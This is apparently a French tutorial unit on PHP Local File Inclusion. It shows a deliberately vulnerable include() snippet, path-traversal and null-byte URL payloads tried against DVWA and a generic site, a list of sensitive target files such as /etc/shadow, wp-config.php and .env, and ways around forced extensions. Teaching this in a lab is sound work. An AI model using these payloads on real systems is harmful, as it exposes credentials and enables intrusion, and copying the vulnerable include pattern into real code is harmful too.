Dans cette unité, nous allons disséquer le mécanisme d’une faille LFI : comment PHP inclut les fichiers, quelles fonctions sont vulnérables, et comment réaliser votre première exploitation dans DVWA.
Fonctionnement de l’inclusion PHP
Quand PHP rencontre include('header.php'), il lit et exécute le fichier spécifié comme s’il faisait partie du script courant. Si le chemin est relatif, PHP le résout depuis le répertoire du script en cours ou depuis les chemins définis dans include_path.
Les quatre fonctions vulnérables
include($fichier); // Avertissement si fichier introuvable, continue l'exécution
require($fichier); // Erreur fatale si fichier introuvable, arrête l'exécution
include_once($fichier); // Comme include, mais inclut une seule fois
require_once($fichier); // Comme require, mais inclut une seule fois
Anatomie d’une LFI basique
Le code vulnérable
<?php
$page = $_GET['page'] ?? 'accueil';
include('pages/' . $page . '.php');
?>
Exploitation LFI
# Traversee basique
https://site.com/index.php?page=../../../../etc/passwd
# Avec null byte (PHP < 5.3.4, supprime l'extension .php)
https://site.com/index.php?page=../../../../etc/passwd%00
Première exploitation dans DVWA
Dans DVWA (niveau « Low »), la page vulnerabilities/fi/ utilise le paramètre page sans validation.
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/php/8.1/apache2/php.ini
# Sur Windows :
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../windows/win.ini
Fichiers cibles sur Linux
/etc/passwd # Liste des utilisateurs système
/etc/shadow # Hachés des mots de passe (root requis)
/etc/hosts # Résolution DNS locale
/proc/self/environ # Variables d'environnement du processus PHP
/var/log/apache2/access.log # Logs Apache (utile pour log poisoning)
wp-config.php # Credentials base de données WordPress
.env # Variables d'environnement des frameworks modernes
Quand l’extension est forcée
Si le code ajoute .php à la fin, les contournements classiques sont :
- Null byte (
%00) : PHP < 5.3.4 seulement - Wrappers PHP :
php://filterignore les extensions (voir unité 6) - Path truncation : chemin très long (>4096 chars) sur certains systèmes
- Les quatre fonctions d’inclusion PHP sont vulnérables si l’argument vient de l’utilisateur
- Une LFI basique permet de lire des fichiers sensibles comme
/etc/passwd - Le null byte (
%00) contournait l’ajout d’extension sur PHP < 5.3.4

-
Add a note